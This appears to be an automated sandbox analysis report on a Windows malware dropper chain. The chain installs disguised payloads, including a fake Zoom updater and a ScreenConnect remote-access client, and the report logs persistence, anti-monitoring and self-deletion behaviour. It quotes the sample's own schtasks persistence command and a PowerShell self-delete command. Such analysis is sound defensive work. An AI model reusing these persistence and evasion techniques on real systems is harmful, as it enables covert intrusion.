Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: 22_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

22_2_00402665

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: software1.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x1a213
Source: ZoomUpdateInstallerFull.exe.6.dr	Static PE information: real checksum: 0x54d1c1 should be: 0x563731
Source: 74df2248d3.exe.6.dr	Static PE information: real checksum: 0x1f4f70 should be: 0x1edf1b
Source: X91lnt.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x1a213
Source: ZoomUpdateInstallerFull[1].exe.6.dr	Static PE information: real checksum: 0x54d1c1 should be: 0x563731
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1f4f70 should be: 0x1edf1b
Source: file.exe	Static PE information: real checksum: 0x1d6b64 should be: 0x1dd8fe
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d6b64 should be: 0x1dd8fe
Source: software1[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x1a213
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x4546e3 should be: 0x454d05
Source: a8e958d3ab.exe.6.dr	Static PE information: real checksum: 0x4546e3 should be: 0x454d05

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: upegxhma
Source: file.exe	Static PE information: section name: kkssyghm
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: upegxhma
Source: skotes.exe.0.dr	Static PE information: section name: kkssyghm
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: vdaqvihp
Source: random[1].exe0.6.dr	Static PE information: section name: whfdthea
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: a8e958d3ab.exe.6.dr	Static PE information: section name:
Source: a8e958d3ab.exe.6.dr	Static PE information: section name: .idata
Source: a8e958d3ab.exe.6.dr	Static PE information: section name:
Source: a8e958d3ab.exe.6.dr	Static PE information: section name: vdaqvihp
Source: a8e958d3ab.exe.6.dr	Static PE information: section name: whfdthea
Source: a8e958d3ab.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: swxylpaw
Source: random[1].exe2.6.dr	Static PE information: section name: tqtvygux
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 74df2248d3.exe.6.dr	Static PE information: section name:
Source: 74df2248d3.exe.6.dr	Static PE information: section name: .idata
Source: 74df2248d3.exe.6.dr	Static PE information: section name:
Source: 74df2248d3.exe.6.dr	Static PE information: section name: swxylpaw
Source: 74df2248d3.exe.6.dr	Static PE information: section name: tqtvygux
Source: 74df2248d3.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002FD91C push ecx; ret	6_2_002FD92F
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Code function: 12_2_02C670B0 push eax; mov dword ptr [esp], ecx	12_2_02C670C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_3_06998463 push es; ret	16_3_06998470
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_04FE9CD0 push eax; mov dword ptr [esp], ecx	19_2_04FE9CD1
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_04FEC1F0 push eax; mov dword ptr [esp], ecx	19_2_04FEC1F1
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_0516B6A0 pushfd ; ret	19_2_0516B6B9
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_0516E0A0 pushad ; ret	19_2_0516E0B3
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_05B62371 push ss; retn 0014h	19_2_05B62385
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9B8B22F4 push ebx; retf	20_2_00007FFD9B8B22FA
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9B8B096D push ebx; retf	20_2_00007FFD9B8B098A
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9B8B08CD push ebx; retf	20_2_00007FFD9B8B098A
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB6001 push edx; iretd	20_2_00007FFD9BBB612B
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB7F6B push edi; ret	20_2_00007FFD9BBB80DA
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB3C57 push esp; ret	20_2_00007FFD9BBB3C79
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB4779 push es; ret	20_2_00007FFD9BBB478A
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB6352 pushfd ; iretd	20_2_00007FFD9BBB6353
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB7E43 push esp; ret	20_2_00007FFD9BBB7EFA
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB7DB5 push esp; ret	20_2_00007FFD9BBB7EFA
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB8995 push es; iretd	20_2_00007FFD9BBB8A55
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB7D05 push ecx; ret	20_2_00007FFD9BBB7D1A
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB7D1C push edx; ret	20_2_00007FFD9BBB7D3A
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB7C99 push eax; ret	20_2_00007FFD9BBB7CAA
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_004192C0 push eax; ret	22_2_004192EE

Source: file.exe	Static PE information: section name: entropy: 7.980288946248783
Source: file.exe	Static PE information: section name: upegxhma entropy: 7.954173139367496
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.980288946248783
Source: skotes.exe.0.dr	Static PE information: section name: upegxhma entropy: 7.954173139367496
Source: random[1].exe0.6.dr	Static PE information: section name: vdaqvihp entropy: 7.95586777044547
Source: a8e958d3ab.exe.6.dr	Static PE information: section name: vdaqvihp entropy: 7.95586777044547
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.975278470909632
Source: random[1].exe2.6.dr	Static PE information: section name: swxylpaw entropy: 7.952540449731705
Source: 74df2248d3.exe.6.dr	Static PE information: section name: entropy: 7.975278470909632
Source: 74df2248d3.exe.6.dr	Static PE information: section name: swxylpaw entropy: 7.952540449731705

Source: software1[1].exe.6.dr, Yd532wEPccR.cs	High entropy of concatenated method names: '_0z9R4dvmlnl', 'SM2JSTaXXbs', '_1UkwwEM4Pgp', 'Mfy0tdVC8vdb61nRThUJjRjQP8hRyuSjWvfFWqqWQh8', 'EgdQZdMHXQQpIKl3o5y4WYZAQqwwJdwKDzlAjP6ABbR', 'rKxzG8OGXneXD1kAjWxaUyJcJ8BqAu2uRsI1zj5kZwi', 'JuBKRWRG97OfVpaSDPCnUv1VQ1tStKUkmMwt9BVdwT0', '_84SgkjiEnNH3IWhzIpracQTmBzEwpEypoRkv7a5f3zA', 'ErNwieqnRisVRkJW566EGupu3y1SeybfdkyD5bwQSrD', 'Oxmg8e3r4zTat4X3rvbIIQUDWqGzjTUvn6zHHQzqugP'
Source: software1[1].exe.6.dr, 8UFW6Ify0g8E7MUn0ALlVbjxzY.cs	High entropy of concatenated method names: 'ZGqy4i2Q61i0BTGjZ59sym3D5C', 'yp9ofLB2IFDsfsVbCwmSaA68eE', 'dX29JPDEj6dpQjHCR5HDZGprUo', 'VdERHsdq41w', 'H9cMySRJ59P', '_1MSImDkrThD', 'ONZJFAYxMR3', 'kn8OHx6pTw9', 'aciKKytdQOX', '_85dTlvej21G'
Source: software1[1].exe.6.dr, tuyaUSKGgTK.cs	High entropy of concatenated method names: 'XNwg9GJHdQy', 'pDaaDmIoLS9', 'dxAOps73sva', 'Jo3sHL1KOhP', 'jnFVI9dvyt6', 'EN6t0zrL32q', 'QU4cLh2tV6k', 'TJBasmAgovn', 'Bf93UiUtYFf', '_6ZA5zAcgbZJ'
Source: software1[1].exe.6.dr, UYqeZzUzj6RIWKSSjzl2Ng1ggs.cs	High entropy of concatenated method names: 'K3xmcfbvQE9oO0VVPLx2gHNHHq', '_9IkMa4Gi0gglB0qgZYyluRyJsO', '_847pj12o8NgmIXzTcPcyJIAUtd', 'NGOQ1jGRf8Xi2PvUvaOadlnDo0', 'p6jDqqlLVFYmh4eMED2T3sQczB', 'B3yAdhQxpiOwqZBRbDOJKVnqwe', 'IJ8tT3yEARntkDv9GWMH4jkY3a', 'AxPRnb1ElIsyK3ljgr2cwMVDpC', 'DFOHO5xAmwk6hmbe0mVg8FH7A3', 'AbPC62aWkIyuJymVdJCJNkClUo'
Source: software1[1].exe.6.dr, z6IEI3QzAgx.cs	High entropy of concatenated method names: 'US78TLUzLLV', 'Po19j2qrtE6', 'kCKvdK6Pw3Z', 'CGNWcz2Qk6I', 'M5tN9qgajui', 'pZ97WX6MdfW', 'Zkpcge9lbML', '_1hpky4biJMt', 'yzyymZc1vjc', 'TDnxJqhLGbi'
Source: software1.exe.6.dr, Yd532wEPccR.cs	High entropy of concatenated method names: '_0z9R4dvmlnl', 'SM2JSTaXXbs', '_1UkwwEM4Pgp', 'Mfy0tdVC8vdb61nRThUJjRjQP8hRyuSjWvfFWqqWQh8', 'EgdQZdMHXQQpIKl3o5y4WYZAQqwwJdwKDzlAjP6ABbR', 'rKxzG8OGXneXD1kAjWxaUyJcJ8BqAu2uRsI1zj5kZwi', 'JuBKRWRG97OfVpaSDPCnUv1VQ1tStKUkmMwt9BVdwT0', '_84SgkjiEnNH3IWhzIpracQTmBzEwpEypoRkv7a5f3zA', 'ErNwieqnRisVRkJW566EGupu3y1SeybfdkyD5bwQSrD', 'Oxmg8e3r4zTat4X3rvbIIQUDWqGzjTUvn6zHHQzqugP'
Source: software1.exe.6.dr, 8UFW6Ify0g8E7MUn0ALlVbjxzY.cs	High entropy of concatenated method names: 'ZGqy4i2Q61i0BTGjZ59sym3D5C', 'yp9ofLB2IFDsfsVbCwmSaA68eE', 'dX29JPDEj6dpQjHCR5HDZGprUo', 'VdERHsdq41w', 'H9cMySRJ59P', '_1MSImDkrThD', 'ONZJFAYxMR3', 'kn8OHx6pTw9', 'aciKKytdQOX', '_85dTlvej21G'
Source: software1.exe.6.dr, tuyaUSKGgTK.cs	High entropy of concatenated method names: 'XNwg9GJHdQy', 'pDaaDmIoLS9', 'dxAOps73sva', 'Jo3sHL1KOhP', 'jnFVI9dvyt6', 'EN6t0zrL32q', 'QU4cLh2tV6k', 'TJBasmAgovn', 'Bf93UiUtYFf', '_6ZA5zAcgbZJ'
Source: software1.exe.6.dr, UYqeZzUzj6RIWKSSjzl2Ng1ggs.cs	High entropy of concatenated method names: 'K3xmcfbvQE9oO0VVPLx2gHNHHq', '_9IkMa4Gi0gglB0qgZYyluRyJsO', '_847pj12o8NgmIXzTcPcyJIAUtd', 'NGOQ1jGRf8Xi2PvUvaOadlnDo0', 'p6jDqqlLVFYmh4eMED2T3sQczB', 'B3yAdhQxpiOwqZBRbDOJKVnqwe', 'IJ8tT3yEARntkDv9GWMH4jkY3a', 'AxPRnb1ElIsyK3ljgr2cwMVDpC', 'DFOHO5xAmwk6hmbe0mVg8FH7A3', 'AbPC62aWkIyuJymVdJCJNkClUo'
Source: software1.exe.6.dr, z6IEI3QzAgx.cs	High entropy of concatenated method names: 'US78TLUzLLV', 'Po19j2qrtE6', 'kCKvdK6Pw3Z', 'CGNWcz2Qk6I', 'M5tN9qgajui', 'pZ97WX6MdfW', 'Zkpcge9lbML', '_1hpky4biJMt', 'yzyymZc1vjc', 'TDnxJqhLGbi'
Source: X91lnt.exe.7.dr, Yd532wEPccR.cs	High entropy of concatenated method names: '_0z9R4dvmlnl', 'SM2JSTaXXbs', '_1UkwwEM4Pgp', 'Mfy0tdVC8vdb61nRThUJjRjQP8hRyuSjWvfFWqqWQh8', 'EgdQZdMHXQQpIKl3o5y4WYZAQqwwJdwKDzlAjP6ABbR', 'rKxzG8OGXneXD1kAjWxaUyJcJ8BqAu2uRsI1zj5kZwi', 'JuBKRWRG97OfVpaSDPCnUv1VQ1tStKUkmMwt9BVdwT0', '_84SgkjiEnNH3IWhzIpracQTmBzEwpEypoRkv7a5f3zA', 'ErNwieqnRisVRkJW566EGupu3y1SeybfdkyD5bwQSrD', 'Oxmg8e3r4zTat4X3rvbIIQUDWqGzjTUvn6zHHQzqugP'
Source: X91lnt.exe.7.dr, 8UFW6Ify0g8E7MUn0ALlVbjxzY.cs	High entropy of concatenated method names: 'ZGqy4i2Q61i0BTGjZ59sym3D5C', 'yp9ofLB2IFDsfsVbCwmSaA68eE', 'dX29JPDEj6dpQjHCR5HDZGprUo', 'VdERHsdq41w', 'H9cMySRJ59P', '_1MSImDkrThD', 'ONZJFAYxMR3', 'kn8OHx6pTw9', 'aciKKytdQOX', '_85dTlvej21G'
Source: X91lnt.exe.7.dr, tuyaUSKGgTK.cs	High entropy of concatenated method names: 'XNwg9GJHdQy', 'pDaaDmIoLS9', 'dxAOps73sva', 'Jo3sHL1KOhP', 'jnFVI9dvyt6', 'EN6t0zrL32q', 'QU4cLh2tV6k', 'TJBasmAgovn', 'Bf93UiUtYFf', '_6ZA5zAcgbZJ'
Source: X91lnt.exe.7.dr, UYqeZzUzj6RIWKSSjzl2Ng1ggs.cs	High entropy of concatenated method names: 'K3xmcfbvQE9oO0VVPLx2gHNHHq', '_9IkMa4Gi0gglB0qgZYyluRyJsO', '_847pj12o8NgmIXzTcPcyJIAUtd', 'NGOQ1jGRf8Xi2PvUvaOadlnDo0', 'p6jDqqlLVFYmh4eMED2T3sQczB', 'B3yAdhQxpiOwqZBRbDOJKVnqwe', 'IJ8tT3yEARntkDv9GWMH4jkY3a', 'AxPRnb1ElIsyK3ljgr2cwMVDpC', 'DFOHO5xAmwk6hmbe0mVg8FH7A3', 'AbPC62aWkIyuJymVdJCJNkClUo'
Source: X91lnt.exe.7.dr, z6IEI3QzAgx.cs	High entropy of concatenated method names: 'US78TLUzLLV', 'Po19j2qrtE6', 'kCKvdK6Pw3Z', 'CGNWcz2Qk6I', 'M5tN9qgajui', 'pZ97WX6MdfW', 'Zkpcge9lbML', '_1hpky4biJMt', 'yzyymZc1vjc', 'TDnxJqhLGbi'

Persistence and Installation Behavior

Possible COM Object hijacking

Source: c:\program files (x86)\screenconnect client (9e47e837d725d609)\screenconnect.windowscredentialprovider.dll

COM Object registered for dropped file: hkey_local_machine\software\classes\clsid\{6ff59a85-bc37-4cd4-bf96-5e4fd2c36d45}\inprocserver32

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC587.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016276001\a8e958d3ab.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsCredentialProvider.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	File created: C:\Users\user\AppData\Roaming\X91lnt.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.WindowsInstaller.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016275001\e953dd76d3.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.InstallerActions.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ZoomUpdateInstallerFull[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.Compression.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.Compression.Cab.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsAuthenticationPackage.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC335.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC587.tmp			Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC335.tmp			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZoomUpdateInstallerFull.exe.log

Jump to behavior

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "X91lnt" /tr "C:\Users\user\AppData\Roaming\X91lnt.exe"

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\X91lnt.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application

Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (9e47e837d725d609)

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\X91lnt.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run X91lnt			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run X91lnt			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2568713090.00000000054A0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
